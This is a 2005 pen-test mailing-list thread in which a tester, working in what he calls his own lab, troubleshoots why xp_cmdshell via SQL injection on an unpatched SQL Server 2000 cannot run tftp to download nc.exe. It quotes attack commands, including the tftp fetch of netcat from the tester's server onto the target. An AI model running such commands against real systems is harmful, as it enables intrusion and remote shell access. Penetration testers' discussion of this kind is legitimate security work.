From: Diego Kellner <dkepler@gmail.com>
Reply-To: pen-test@securityfocus.com
To: Andres Molinetti <andymolinetti@hotmail.com>
CC: pen-test@securityfocus.com
Subject: Re: TFTP and XP_CMDSHELL - Weird
Date: Thu, 23 Jun 2005 09:35:40 -0300
Does the TFTP even start? What is the error message you get?
If it is any useful I recieve the following error on the Target machine:
"tftp: No se puede escribir en el archivo local 'c:\xx.exe'"
(tftp: Not able to write in local file 'c:\xx.exe')
In a tcpdump in my TFTP Server I get the following error:
10:41:37.528994 IP TARGET.1942 > SERVER.tftp: 48 ERROR EACCESS no se puede
abrir el archivo para escritura"
(cannot open file for writing)
Check to
see the permissions on tftp.exe (the SQL may not be properly patched,
but someone might have taken the time to secure some key executables
on WINNT directory according to best practices). If you have no direct
access to see the permissions on this file, check to see if ping.exe
works (another 'dangerous' executable that is usually secured along
with tftp.exe, dcpromo.exe, etc).
I am testing it in my own controlled environment. I installed the TARGET
myself and it only has Windows 2000 SP4 with latest patches and SQL Server
2000 unpatched.
Ping works.
Besides, tftp works, but only with admin privileges.
Regards,
Kepler
On 6/22/05, Andres Molinetti <andymolinetti@hotmail.com> wrote:
> Hi, I am testing a Web App vulnerable to SQL Injection.
> It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.
>
> While trying to use the xp_cmdshell to upload nc.exe from my tftpd
server to
> the Webserver, I experienced some problems.
>
> I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.
>
> As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost
GET
> nc.exe c:\nc.exe". File is downloaded.
>
> When I tried it through the wep app it failed. I tried directly through
SQL
> Query Analizer and it also failed.
>
> SQL is running as a low priviledged account (sqlsvc)...
>
> Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET
nc.exe
> c:\nc.exe" and IT FAILED.!!
>
> I can easily deduce that the problem is the TFTP client (tftp.exe)...
>
> Any Ideas?
>
> _________________________________________________________________
> Moda para esta temporada. Ponte al día de todas las tendencias.
> http://www.msn.es/Mujer/moda/default.asp
>
>
_________________________________________________________________
Un amor, una aventura, compañía para un viaje. Regístrate gratis en MSN Amor
& Amistad. http://match.msn.es/match/mt.cfm?pg=channel&tcid=162349
